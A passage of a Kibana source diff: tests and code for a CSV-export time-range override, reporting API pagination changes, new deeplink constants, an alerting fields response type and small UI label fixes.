overrideTimeRange({ + // @ts-expect-error + currentFilters: filter, + forceNow: '2025-06-18T19:55:00.000Z', + logger: mockLogger, + }); + expect(updated).toEqual([ + { + $state: { + store: 'appState', + }, + meta: { + alias: null, + disabled: false, + field: 'event.action', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + key: 'event.action', + negate: false, + params: ['a', 'b', 'c'], + type: 'phrases', + value: ['a', 'b', 'c'], + }, + query: { + bool: { + minimum_should_match: 1, + should: [ + { + match_phrase: { + 'event.action': 'a', + }, + }, + { + match_phrase: { + 'event.action': 'b', + }, + }, + { + match_phrase: { + 'event.action': 'c', + }, + }, + ], + }, + }, + }, + { + meta: { + field: 'event.start', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + params: {}, + }, + query: { + range: { + 'event.start': { + format: 'strict_date_optional_time', + gte: '2025-06-18T19:30:00.000Z', + lte: '2025-06-18T19:55:00.000Z', + }, + }, + }, + }, + { + $state: { + store: 'appState', + }, + meta: { + alias: null, + disabled: false, + field: 'another.range.field', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + key: 'another.range.field', + negate: false, + params: { + gte: '0', + lt: '10', + }, + type: 'range', + value: { + gte: '0', + lt: '10', + }, + }, + query: { + range: { + 'another.range.field': { + gte: '0', + lt: '10', + }, + }, + }, + }, + ]); + }); + + it('should return modified time range in the filter array range filters are present', () => { + const filter = [ + { + meta: { + field: 'event.start', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + params: {}, + }, + query: { + range: { + 'event.start': { + format: 'strict_date_optional_time', + gte: '2025-01-01T19:38:24.286Z', + lte: '2025-01-01T20:03:24.286Z', + }, + }, + }, + }, + { + $state: { + store: 'appState', + }, + meta: { + alias: null, + disabled: false, + field: 'event.action', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + key: 'event.action', + negate: false, + params: ['a', 'b', 'c'], + type: 'phrases', + value: ['a', 'b', 'c'], + }, + query: { + bool: { + minimum_should_match: 1, + should: [ + { + match_phrase: { + 'event.action': 'a', + }, + }, + { + match_phrase: { + 'event.action': 'b', + }, + }, + { + match_phrase: { + 'event.action': 'c', + }, + }, + ], + }, + }, + }, + { + $state: { + store: 'appState', + }, + meta: { + alias: null, + disabled: false, + field: 'another.range.field', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + key: 'another.range.field', + negate: false, + params: { + gte: '0', + lt: '10', + }, + type: 'range', + value: { + gte: '0', + lt: '10', + }, + }, + query: { + range: { + 'another.range.field': { + gte: '0', + lt: '10', + }, + }, + }, + }, + ]; + + const updated = overrideTimeRange({ + // @ts-expect-error + currentFilters: filter, + forceNow: '2025-06-18T19:55:00.000Z', + logger: mockLogger, + }); + expect(updated).toEqual([ + { + meta: { + field: 'event.start', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + params: {}, + }, + query: { + range: { + 'event.start': { + format: 'strict_date_optional_time', + gte: '2025-06-18T19:30:00.000Z', + lte: '2025-06-18T19:55:00.000Z', + }, + }, + }, + }, + { + $state: { + store: 'appState', + }, + meta: { + alias: null, + disabled: false, + field: 'event.action', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + key: 'event.action', + negate: false, + params: ['a', 'b', 'c'], + type: 'phrases', + value: ['a', 'b', 'c'], + }, + query: { + bool: { + minimum_should_match: 1, + should: [ + { + match_phrase: { + 'event.action': 'a', + }, + }, + { + match_phrase: { + 'event.action': 'b', + }, + }, + { + match_phrase: { + 'event.action': 'c', + }, + }, + ], + }, + }, + }, + { + $state: { + store: 'appState', + }, + meta: { + alias: null, + disabled: false, + field: 'another.range.field', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + key: 'another.range.field', + negate: false, + params: { + gte: '0', + lt: '10', + }, + type: 'range', + value: { + gte: '0', + lt: '10', + }, + }, + query: { + range: { + 'another.range.field': { + gte: '0', + lt: '10', + }, + }, + }, + }, + ]); + }); + + it('should return undefined if unexpected time filter found', () => { + const filter = [ + { + meta: { + field: 'event.start', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + params: {}, + }, + query: { + range: { + 'another.field': { + format: 'strict_date_optional_time', + gte: '2025-01-01T19:38:24.286Z', + lte: '2025-01-01T20:03:24.286Z', + }, + }, + }, + }, + ]; + + const updated = overrideTimeRange({ + currentFilters: filter, + forceNow: '2025-06-18T19:55:00.000Z', + logger: mockLogger, + }); + expect(updated).toBeUndefined(); + }); + + it('should return undefined if no meta field found', () => { + const filter = [ + { + query: { + range: { + '@timestamp': { + format: 'strict_date_optional_time', + gte: '2025-01-01T19:38:24.286Z', + lte: '2025-01-01T20:03:24.286Z', + }, + }, + }, + }, + ]; + + const updated = overrideTimeRange({ + // @ts-expect-error missing meta field + currentFilters: filter, + forceNow: '2025-06-18T19:55:00.000Z', + }); + expect(updated).toBeUndefined(); + }); + + it('should return undefined if invalid time', () => { + const filter = [ + { + meta: { + field: '@timestamp', + index: '0bde9920-4ade-4c19-8043-368aa37f1dae', + params: {}, + }, + query: { + range: { + '@timestamp': { + format: 'strict_date_optional_time', + gte: 'foo', + lte: 'bar', + }, + }, + }, + }, + ]; + + const updated = overrideTimeRange({ + currentFilters: filter, + forceNow: '2025-06-18T19:55:00.000Z', + logger: mockLogger, + }); + expect(updated).toBeUndefined(); + }); + + it('should return undefined for undefined filters', () => { + const updated = overrideTimeRange({ + currentFilters: undefined, + forceNow: '2025-06-18T19:55:00.000Z', + logger: mockLogger, + }); + expect(updated).toBeUndefined(); + }); + + it('should return undefined for empty filters', () => { + const updated = overrideTimeRange({ + currentFilters: [], + forceNow: '2025-06-18T19:55:00.000Z', + logger: mockLogger, + }); + expect(updated).toBeUndefined(); + }); +}); diff --git a/src/platform/packages/private/kbn-generate-csv/src/lib/override_time_range.ts b/src/platform/packages/private/kbn-generate-csv/src/lib/override_time_range.ts new file mode 100644 index 0000000000000..0749685daa52c --- /dev/null +++ b/src/platform/packages/private/kbn-generate-csv/src/lib/override_time_range.ts @@ -0,0 +1,110 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { Filter } from '@kbn/es-query'; +import { set } from '@kbn/safer-lodash-set'; +import type { Logger } from '@kbn/core/server'; +import { cloneDeep, get, has, isArray } from 'lodash'; + +const getTimeFieldAccessorString = (metaField: string): string => `query.range['${metaField}']`; +const getTimeFields = (filter: Filter) => { + const metaField = get(filter, 'meta.field'); + if (metaField) { + const timeFieldAccessorString = getTimeFieldAccessorString(metaField); + const timeFormat = get(filter, `${timeFieldAccessorString}.format`); + const timeGte = get(filter, `${timeFieldAccessorString}.gte`); + const timeLte = get(filter, `${timeFieldAccessorString}.lte`); + + return { metaField, timeFormat, timeGte, timeLte }; + } + + return {}; +}; + +const isValidDateTime = (dateString: string): boolean => { + const date = Date.parse(dateString); + return !isNaN(date) && date > 0; +}; + +interface OverrideTimeRangeOpts { + currentFilters: Filter[] | Filter | undefined; + forceNow: string; + logger: Logger; +} +export const overrideTimeRange = ({ + currentFilters, + forceNow, + logger, +}: OverrideTimeRangeOpts): Filter[] | undefined => { + if (!currentFilters) { + return; + } + + const filters = isArray(currentFilters) ? currentFilters : [currentFilters]; + if (filters.length === 0) { + return; + } + + // Looking for filters with this format which indicate a time range: + // { + // "meta": { + // "field": , + // "index": , + // "params": {} + // }, + // "query": { + // "range": { + // : { + // "format": "strict_date_optional_time", + // "gte": "2025-06-18T18:29:53.537Z", + // "lte": "2025-06-18T18:54:53.537Z" + // } + // } + // } + // } + const timeFilterIndex = filters.findIndex((filter) => { + if (has(filter, '$state')) { + return false; + } + + const { + timeFormat: maybeTimeFieldFormat, + timeGte: maybeTimeFieldGte, + timeLte: maybeTimeFieldLte, + } = getTimeFields(filter); + + if (maybeTimeFieldFormat && maybeTimeFieldGte && maybeTimeFieldLte) { + return isValidDateTime(maybeTimeFieldGte) && isValidDateTime(maybeTimeFieldLte); + } + return false; + }); + + if (timeFilterIndex >= 0) { + try { + const timeFilter = cloneDeep(filters[timeFilterIndex]); + const { metaField, timeGte, timeLte } = getTimeFields(timeFilter); + if (metaField) { + const timeGteMs = Date.parse(timeGte); + const timeLteMs = Date.parse(timeLte); + const timeDiffMs = timeLteMs - timeGteMs; + const newLte = Date.parse(forceNow); + const newGte = newLte - timeDiffMs; + + const timeFieldAccessorString = getTimeFieldAccessorString(metaField); + set(timeFilter, `${timeFieldAccessorString}.gte`, new Date(newGte).toISOString()); + set(timeFilter, `${timeFieldAccessorString}.lte`, forceNow); + + filters.splice(timeFilterIndex, 1, timeFilter); + return filters; + } + } catch (error) { + logger.warn(`Error calculating updated time range: ${error.message}`); + } + } +}; diff --git a/src/platform/packages/private/kbn-generate-csv/src/lib/search_cursor_pit.ts b/src/platform/packages/private/kbn-generate-csv/src/lib/search_cursor_pit.ts index fc0a78f2de837..edd1a029b36dc 100644 --- a/src/platform/packages/private/kbn-generate-csv/src/lib/search_cursor_pit.ts +++ b/src/platform/packages/private/kbn-generate-csv/src/lib/search_cursor_pit.ts @@ -124,6 +124,8 @@ export class SearchCursorPit extends SearchCursor { throw new Error('Could not retrieve the search body!'); } + this.logger.debug(() => `Executing search with body: ${JSON.stringify(searchBody)}`); + const response = await this.searchWithPit(searchBody); if (!response) { diff --git a/src/platform/packages/private/kbn-generate-csv/tsconfig.json b/src/platform/packages/private/kbn-generate-csv/tsconfig.json index e781e93336a66..996e0ab3d40bb 100644 --- a/src/platform/packages/private/kbn-generate-csv/tsconfig.json +++ b/src/platform/packages/private/kbn-generate-csv/tsconfig.json @@ -32,5 +32,6 @@ "@kbn/search-types", "@kbn/task-manager-plugin", "@kbn/esql-utils", + "@kbn/safer-lodash-set", ] } diff --git a/src/platform/packages/private/kbn-generate-csv/types.ts b/src/platform/packages/private/kbn-generate-csv/types.ts index 0497f7c153c22..a7f78726be34b 100644 --- a/src/platform/packages/private/kbn-generate-csv/types.ts +++ b/src/platform/packages/private/kbn-generate-csv/types.ts @@ -17,5 +17,6 @@ export interface JobParamsCSV { browserTimezone?: string; searchSource: SerializedSearchSourceFields; columns?: string[]; + forceNow?: string; pagingStrategy?: CsvPagingStrategy; } diff --git a/src/platform/packages/private/kbn-health-gateway-server/scripts/docker-compose.yml b/src/platform/packages/private/kbn-health-gateway-server/scripts/docker-compose.yml index c95f9b1c45e4a..0aafb8b97cf85 100644 --- a/src/platform/packages/private/kbn-health-gateway-server/scripts/docker-compose.yml +++ b/src/platform/packages/private/kbn-health-gateway-server/scripts/docker-compose.yml @@ -17,7 +17,7 @@ services: elasticsearch: image: docker.elastic.co/elasticsearch/elasticsearch:${STACK_VERSION} volumes: - - ../../../../../kbn-dev-utils/certs:/usr/share/elasticsearch/config/certs + - ../../../../../platform/packages/shared/kbn-dev-utils/certs:/usr/share/elasticsearch/config/certs ports: - ${ES_PORT}:9200 environment: @@ -49,7 +49,7 @@ services: condition: service_healthy image: docker.elastic.co/kibana/kibana:${STACK_VERSION} volumes: - - ../../../../../kbn-dev-utils/certs:/usr/share/kibana/config/certs + - ../../../../../platform/packages/shared/kbn-dev-utils/certs:/usr/share/kibana/config/certs ports: - ${KIBANA_01_PORT}:5601 environment: @@ -71,7 +71,7 @@ services: condition: service_healthy image: docker.elastic.co/kibana/kibana:${STACK_VERSION} volumes: - - ../../../../../kbn-dev-utils/certs:/usr/share/kibana/config/certs + - ../../../../../platform/packages/shared/kbn-dev-utils/certs:/usr/share/kibana/config/certs ports: - ${KIBANA_02_PORT}:5601 environment: diff --git a/src/platform/packages/private/kbn-reporting/common/constants.ts b/src/platform/packages/private/kbn-reporting/common/constants.ts index 093868282a724..23803f8c7513e 100644 --- a/src/platform/packages/private/kbn-reporting/common/constants.ts +++ b/src/platform/packages/private/kbn-reporting/common/constants.ts @@ -8,6 +8,7 @@ */ import { + DISCOVER_APP_LOCATOR, CANVAS_APP_LOCATOR, DASHBOARD_APP_LOCATOR, LENS_APP_LOCATOR, @@ -62,6 +63,7 @@ export const JOB_COMPLETION_NOTIFICATIONS_SESSION_KEY = // Allowed locator types for reporting: the "reportable" analytical apps we expect to redirect to during screenshotting export const REPORTING_REDIRECT_ALLOWED_LOCATOR_TYPES = [ + DISCOVER_APP_LOCATOR, CANVAS_APP_LOCATOR, DASHBOARD_APP_LOCATOR, LENS_APP_LOCATOR, diff --git a/src/platform/packages/private/kbn-reporting/get_csv_panel_actions/panel_actions/get_csv_panel_action.tsx b/src/platform/packages/private/kbn-reporting/get_csv_panel_actions/panel_actions/get_csv_panel_action.tsx index 56e712e895646..3d963c128d75d 100644 --- a/src/platform/packages/private/kbn-reporting/get_csv_panel_actions/panel_actions/get_csv_panel_action.tsx +++ b/src/platform/packages/private/kbn-reporting/get_csv_panel_actions/panel_actions/get_csv_panel_action.tsx @@ -19,7 +19,7 @@ import { HasTimeRange, } from '@kbn/discover-plugin/public'; import { LicensingPluginStart } from '@kbn/licensing-plugin/public'; -import { DISCOVER_APP_LOCATOR, type DiscoverAppLocatorParams } from '@kbn/discover-plugin/common'; +import { type DiscoverAppLocatorParams } from '@kbn/discover-plugin/common'; import { apiCanAccessViewMode, apiHasType, @@ -47,6 +47,7 @@ import { import type { ReportingAPIClient } from '@kbn/reporting-public/reporting_api_client'; import { LocatorParams } from '@kbn/reporting-common/types'; import { isOfAggregateQueryType } from '@kbn/es-query'; +import { DISCOVER_APP_LOCATOR } from '@kbn/deeplinks-analytics'; import { getI18nStrings } from './strings'; export interface PanelActionDependencies { diff --git a/src/platform/packages/private/kbn-reporting/get_csv_panel_actions/tsconfig.json b/src/platform/packages/private/kbn-reporting/get_csv_panel_actions/tsconfig.json index c44fd685f6652..d02a75ab4ad9b 100644 --- a/src/platform/packages/private/kbn-reporting/get_csv_panel_actions/tsconfig.json +++ b/src/platform/packages/private/kbn-reporting/get_csv_panel_actions/tsconfig.json @@ -29,5 +29,6 @@ "@kbn/presentation-publishing", "@kbn/reporting-common", "@kbn/es-query", + "@kbn/deeplinks-analytics", ] } diff --git a/src/platform/packages/private/kbn-reporting/public/index.ts b/src/platform/packages/private/kbn-reporting/public/index.ts index aa7212aa831e6..437c268272ba7 100644 --- a/src/platform/packages/private/kbn-reporting/public/index.ts +++ b/src/platform/packages/private/kbn-reporting/public/index.ts @@ -20,6 +20,7 @@ export { checkLicense } from './license_check'; import type { CoreSetup, CoreStart, NotificationsStart } from '@kbn/core/public'; import type { DataPublicPluginStart } from '@kbn/data-plugin/public'; import { useKibana as _useKibana } from '@kbn/kibana-react-plugin/public'; +import { LicensingPluginStart } from '@kbn/licensing-plugin/public'; import type { SharePluginStart } from '@kbn/share-plugin/public'; /* Services received through useKibana context @@ -35,6 +36,7 @@ export interface KibanaContext { share: SharePluginStart; actions: ActionsPublicPluginSetup; notifications: NotificationsStart; + license$: LicensingPluginStart['license$']; } export const useKibana = () => _useKibana(); diff --git a/src/platform/packages/private/kbn-reporting/public/reporting_api_client.test.ts b/src/platform/packages/private/kbn-reporting/public/reporting_api_client.test.ts index c655715a9b9d6..7a81365499f21 100644 --- a/src/platform/packages/private/kbn-reporting/public/reporting_api_client.test.ts +++ b/src/platform/packages/private/kbn-reporting/public/reporting_api_client.test.ts @@ -63,13 +63,15 @@ describe('ReportingAPIClient', () => { }); it('should send job IDs in query parameters', async () => { - await apiClient.list(1, ['123', '456']); + await apiClient.list(1, 10, ['123', '456']); expect(httpClient.get).toHaveBeenCalledWith( expect.stringContaining('/list'), expect.objectContaining({ + asSystemRequest: true, query: { page: 1, + size: 10, ids: '123,456', }, }) @@ -120,20 +122,31 @@ describe('ReportingAPIClient', () => { describe('getScheduledReportInfo', () => { beforeEach(() => { - httpClient.get.mockResolvedValueOnce({ data: [{ id: '123', title: 'Scheduled Report 1' }] }); + httpClient.get.mockResolvedValueOnce({ + data: [ + { id: 'scheduled-report-1', title: 'Scheduled Report 1' }, + { id: 'scheduled-report-2', title: 'Schedule Report 2' }, + ], + }); }); it('should send a get request', async () => { - await apiClient.getScheduledReportInfo('123'); + await apiClient.getScheduledReportInfo('scheduled-report-1', 2, 50); - expect(httpClient.get).toHaveBeenCalledWith( - expect.stringContaining('/internal/reporting/scheduled/list') - ); + expect(httpClient.get).toHaveBeenCalledWith('/internal/reporting/scheduled/list', { + query: { page: 2, size: 50 }, + }); }); it('should return a report', async () => { - await expect(apiClient.getScheduledReportInfo('123')).resolves.toEqual({ - id: '123', + const res = await apiClient.getScheduledReportInfo('scheduled-report-1'); + + expect(httpClient.get).toHaveBeenCalledWith('/internal/reporting/scheduled/list', { + query: { page: 0, size: 50 }, + }); + + expect(res).toEqual({ + id: 'scheduled-report-1', title: 'Scheduled Report 1', }); }); diff --git a/src/platform/packages/private/kbn-reporting/public/reporting_api_client.ts b/src/platform/packages/private/kbn-reporting/public/reporting_api_client.ts index 41c7947d6726b..d49c6c31a7a7e 100644 --- a/src/platform/packages/private/kbn-reporting/public/reporting_api_client.ts +++ b/src/platform/packages/private/kbn-reporting/public/reporting_api_client.ts @@ -58,7 +58,7 @@ interface IReportingAPI { // CRUD downloadReport(jobId: string): void; deleteReport(jobId: string): Promise; - list(page: number, jobIds: string[]): Promise; // gets the first 10 report of the page + list(page: number, perPage: number, jobIds: string[]): Promise; total(): Promise; getError(jobId: string): Promise; getInfo(jobId: string): Promise; @@ -125,11 +125,10 @@ export class ReportingAPIClient implements IReportingAPI { return await this.http.delete(`${INTERNAL_ROUTES.JOBS.DELETE_PREFIX}/${jobId}`); } - public async list(page = 0, jobIds: string[] = []) { - const query: HttpFetchQuery = { page }; + public async list(page = 0, perPage = 50, jobIds: string[] = []) { + const query: HttpFetchQuery = { page, size: perPage }; if (jobIds.length > 0) { - // Only getting the first 10, to prevent URL overflows - query.ids = jobIds.slice(0, 10).join(','); + query.ids = jobIds.slice(0, perPage).join(','); } const jobQueueEntries: ReportApiJSON[] = await this.http.get(INTERNAL_ROUTES.JOBS.LIST, { @@ -167,9 +166,12 @@ export class ReportingAPIClient implements IReportingAPI { return new Job(report); } - public async getScheduledReportInfo(id: string) { + public async getScheduledReportInfo(id: string, page: number = 0, perPage: number = 50) { const { data: reportList = [] }: { data: ScheduledReportApiJSON[] } = await this.http.get( - `${INTERNAL_ROUTES.SCHEDULED.LIST}` + `${INTERNAL_ROUTES.SCHEDULED.LIST}`, + { + query: { page, size: perPage }, + } ); const report = reportList.find((item) => item.id === id); diff --git a/src/platform/packages/shared/deeplinks/analytics/constants.ts b/src/platform/packages/shared/deeplinks/analytics/constants.ts index 32c8c6ab6398c..e2ff238704e68 100644 --- a/src/platform/packages/shared/deeplinks/analytics/constants.ts +++ b/src/platform/packages/shared/deeplinks/analytics/constants.ts @@ -7,6 +7,8 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ +export const DISCOVER_APP_LOCATOR = 'DISCOVER_APP_LOCATOR'; + export const CANVAS_APP_LOCATOR = 'CANVAS_APP_LOCATOR'; export const DISCOVER_APP_ID = 'discover'; diff --git a/src/platform/packages/shared/deeplinks/analytics/index.ts b/src/platform/packages/shared/deeplinks/analytics/index.ts index 1507cfd4d2193..14ae160026e55 100644 --- a/src/platform/packages/shared/deeplinks/analytics/index.ts +++ b/src/platform/packages/shared/deeplinks/analytics/index.ts @@ -8,6 +8,7 @@ */ export { + DISCOVER_APP_LOCATOR, CANVAS_APP_LOCATOR, DASHBOARD_APP_ID, DISCOVER_APP_ID, diff --git a/src/platform/packages/shared/deeplinks/observability/constants.ts b/src/platform/packages/shared/deeplinks/observability/constants.ts index 48bfe37d2fdfe..5e238a88a473c 100644 --- a/src/platform/packages/shared/deeplinks/observability/constants.ts +++ b/src/platform/packages/shared/deeplinks/observability/constants.ts @@ -22,6 +22,8 @@ export const APM_APP_ID = 'apm'; export const SYNTHETICS_APP_ID = 'synthetics'; +export const UPTIME_APP_ID = 'uptime'; + export const OBSERVABILITY_ONBOARDING_APP_ID = 'observabilityOnboarding'; export const SLO_APP_ID = 'slo'; diff --git a/src/platform/packages/shared/deeplinks/observability/deep_links.ts b/src/platform/packages/shared/deeplinks/observability/deep_links.ts index 256350feb2e21..427d09e14e63d 100644 --- a/src/platform/packages/shared/deeplinks/observability/deep_links.ts +++ b/src/platform/packages/shared/deeplinks/observability/deep_links.ts @@ -16,6 +16,7 @@ import { OBSERVABILITY_ONBOARDING_APP_ID, OBSERVABILITY_OVERVIEW_APP_ID, SYNTHETICS_APP_ID, + UPTIME_APP_ID, SLO_APP_ID, AI_ASSISTANT_APP_ID, OBLT_UX_APP_ID, @@ -31,6 +32,7 @@ type ObservabilityOverviewApp = typeof OBSERVABILITY_OVERVIEW_APP_ID; type MetricsApp = typeof METRICS_APP_ID; type ApmApp = typeof APM_APP_ID; type SyntheticsApp = typeof SYNTHETICS_APP_ID; +type UptimeApp = typeof UPTIME_APP_ID; type ObservabilityOnboardingApp = typeof OBSERVABILITY_ONBOARDING_APP_ID; type SloApp = typeof SLO_APP_ID; type AiAssistantApp = typeof AI_ASSISTANT_APP_ID; @@ -48,6 +50,7 @@ export type AppId = | ApmApp | MetricsApp | SyntheticsApp + | UptimeApp | SloApp | AiAssistantApp | ObltUxApp @@ -84,6 +87,8 @@ export type ApmLinkId = export type SyntheticsLinkId = 'certificates' | 'overview'; +export type UptimeLinkId = 'Certificates'; + export type ProfilingLinkId = 'stacktraces' | 'flamegraphs' | 'functions'; export type StreamsLinkId = 'overview'; @@ -94,6 +99,7 @@ export type LinkId = | MetricsLinkId | ApmLinkId | SyntheticsLinkId + | UptimeLinkId | ProfilingLinkId | StreamsLinkId; @@ -104,6 +110,7 @@ export type DeepLinkId = | `${MetricsApp}:${MetricsLinkId}` | `${ApmApp}:${ApmLinkId}` | `${SyntheticsApp}:${SyntheticsLinkId}` + | `${UptimeApp}:${UptimeLinkId}` | `${ObltProfilingApp}:${ProfilingLinkId}` | `${InventoryApp}:${InventoryLinkId}` | `${StreamsApp}:${StreamsLinkId}`; diff --git a/src/platform/packages/shared/deeplinks/search/index.ts b/src/platform/packages/shared/deeplinks/search/index.ts index 7d42acb273239..1fe83c184504a 100644 --- a/src/platform/packages/shared/deeplinks/search/index.ts +++ b/src/platform/packages/shared/deeplinks/search/index.ts @@ -13,6 +13,7 @@ export { ENTERPRISE_SEARCH_APPLICATIONS_APP_ID, ENTERPRISE_SEARCH_ANALYTICS_APP_ID, SERVERLESS_ES_APP_ID, + SEARCH_HOMEPAGE, SERVERLESS_ES_CONNECTORS_ID, SEARCH_ELASTICSEARCH, SEARCH_VECTOR_SEARCH, diff --git a/src/platform/packages/shared/kbn-alerting-types/browser_fields_response.ts b/src/platform/packages/shared/kbn-alerting-types/browser_fields_response.ts new file mode 100644 index 0000000000000..c435ea5c7357c --- /dev/null +++ b/src/platform/packages/shared/kbn-alerting-types/browser_fields_response.ts @@ -0,0 +1,16 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import type { FieldDescriptor } from '@kbn/data-views-plugin/server'; +import type { BrowserFields } from './alert_fields_type'; + +export interface GetBrowserFieldsResponse { + browserFields: BrowserFields; + fields: FieldDescriptor[]; +} diff --git a/src/platform/packages/shared/kbn-alerting-types/index.ts b/src/platform/packages/shared/kbn-alerting-types/index.ts index fdeb6d8f7928f..dc660e1a2f8a9 100644 --- a/src/platform/packages/shared/kbn-alerting-types/index.ts +++ b/src/platform/packages/shared/kbn-alerting-types/index.ts @@ -21,3 +21,4 @@ export * from './rule_types'; export * from './rule_settings'; export * from './search_strategy_types'; export * from './alert_delete_types'; +export * from './browser_fields_response'; diff --git a/src/platform/packages/shared/kbn-alerts-ui-shared/src/common/apis/fetch_rule_type_alert_fields/fetch_rule_type_alert_fields.test.ts b/src/platform/packages/shared/kbn-alerts-ui-shared/src/common/apis/fetch_rule_type_alert_fields/fetch_rule_type_alert_fields.test.ts index fc3266faf15cb..53a082d6224fe 100644 --- a/src/platform/packages/shared/kbn-alerts-ui-shared/src/common/apis/fetch_rule_type_alert_fields/fetch_rule_type_alert_fields.test.ts +++ b/src/platform/packages/shared/kbn-alerts-ui-shared/src/common/apis/fetch_rule_type_alert_fields/fetch_rule_type_alert_fields.test.ts @@ -15,7 +15,7 @@ const http = httpServiceMock.createStartContract(); describe('fetchRuleTypeAlertFields', () => { test('should call aad fields endpoint with the correct params', async () => { - http.get.mockResolvedValueOnce(['mockData']); + http.get.mockResolvedValueOnce({ fields: ['mockData'] }); const result = await fetchRuleTypeAlertFields({ http, diff --git a/src/platform/packages/shared/kbn-alerts-ui-shared/src/common/apis/fetch_rule_type_alert_fields/fetch_rule_type_alert_fields.ts b/src/platform/packages/shared/kbn-alerts-ui-shared/src/common/apis/fetch_rule_type_alert_fields/fetch_rule_type_alert_fields.ts index bc82f60828abd..390ce4ab81922 100644 --- a/src/platform/packages/shared/kbn-alerts-ui-shared/src/common/apis/fetch_rule_type_alert_fields/fetch_rule_type_alert_fields.ts +++ b/src/platform/packages/shared/kbn-alerts-ui-shared/src/common/apis/fetch_rule_type_alert_fields/fetch_rule_type_alert_fields.ts @@ -10,7 +10,7 @@ import { isEmpty } from 'lodash'; import type { EcsMetadata } from '@kbn/alerts-as-data-utils/src/field_maps/types'; import type { HttpStart } from '@kbn/core-http-browser'; -import type { DataViewField } from '@kbn/data-views-plugin/common'; +import type { GetBrowserFieldsResponse } from '@kbn/alerting-types'; import { BASE_RAC_ALERTS_API_PATH, EMPTY_AAD_FIELDS } from '../../constants'; export const getDescription = (fieldName: string, ecsFlat: Record) => { @@ -27,11 +27,14 @@ export const fetchRuleTypeAlertFields = async ({ }: { http: HttpStart; ruleTypeId?: string; -}): Promise => { +}): Promise => { if (!ruleTypeId) return EMPTY_AAD_FIELDS; - const fields = await http.get(`${BASE_RAC_ALERTS_API_PATH}/browser_fields`, { - query: { ruleTypeIds: [ruleTypeId] }, - }); + const response = await http.get( + `${BASE_RAC_ALERTS_API_PATH}/browser_fields`, + { + query: { ruleTypeIds: [ruleTypeId] }, + } + ); - return fields; + return response.fields; }; diff --git a/src/platform/packages/shared/kbn-alerts-ui-shared/src/common/constants/alerts.ts b/src/platform/packages/shared/kbn-alerts-ui-shared/src/common/constants/alerts.ts index 398caa2b3d669..fe605f4cac656 100644 --- a/src/platform/packages/shared/kbn-alerts-ui-shared/src/common/constants/alerts.ts +++ b/src/platform/packages/shared/kbn-alerts-ui-shared/src/common/constants/alerts.ts @@ -7,7 +7,7 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -import type { DataViewField } from '@kbn/data-views-plugin/common'; +import type { GetBrowserFieldsResponse } from '@kbn/alerting-types'; export const DEFAULT_ALERTS_PAGE_SIZE = 10; -export const EMPTY_AAD_FIELDS: DataViewField[] = []; +export const EMPTY_AAD_FIELDS: GetBrowserFieldsResponse['fields'] = []; diff --git a/src/platform/packages/shared/kbn-alerts-ui-shared/src/rule_settings/rule_settings_flapping_title_tooltip.tsx b/src/platform/packages/shared/kbn-alerts-ui-shared/src/rule_settings/rule_settings_flapping_title_tooltip.tsx index 9d2cb7384b4fd..96843f91ff5df 100644 --- a/src/platform/packages/shared/kbn-alerts-ui-shared/src/rule_settings/rule_settings_flapping_title_tooltip.tsx +++ b/src/platform/packages/shared/kbn-alerts-ui-shared/src/rule_settings/rule_settings_flapping_title_tooltip.tsx @@ -62,6 +62,13 @@ const flappingOffContentSettings = i18n.translate( } ); +const alertFlappingTitleInfo = i18n.translate( + 'alertsUIShared.ruleSettingsFlappingTitleTooltip.alertFlappingTitleInfo', + { + defaultMessage: 'Rule settings flapping title info', + } +); + interface RuleSettingsFlappingTitleTooltipProps { isOpen: boolean; setIsPopoverOpen: (isOpen: boolean) => void; @@ -87,7 +94,7 @@ export const RuleSettingsFlappingTitleTooltip = (props: RuleSettingsFlappingTitl display="empty" color="primary" iconType="question" - aria-label="Flapping title info" + aria-label={alertFlappingTitleInfo} onClick={() => setIsPopoverOpen(!isOpen)} /> } diff --git a/src/platform/packages/shared/kbn-alerts-ui-shared/src/rule_settings/rule_settings_range_input.tsx b/src/platform/packages/shared/kbn-alerts-ui-shared/src/rule_settings/rule_settings_range_input.tsx index 03f98a92cafb5..881a12d41967b 100644 --- a/src/platform/packages/shared/kbn-alerts-ui-shared/src/rule_settings/rule_settings_range_input.tsx +++ b/src/platform/packages/shared/kbn-alerts-ui-shared/src/rule_settings/rule_settings_range_input.tsx @@ -30,8 +30,14 @@ export const RuleSettingsRangeInput = memo((props: RuleSettingsRangeInputProps)
{label}   - {labelPopoverText && ( - + {labelPopoverText && label && ( + )}
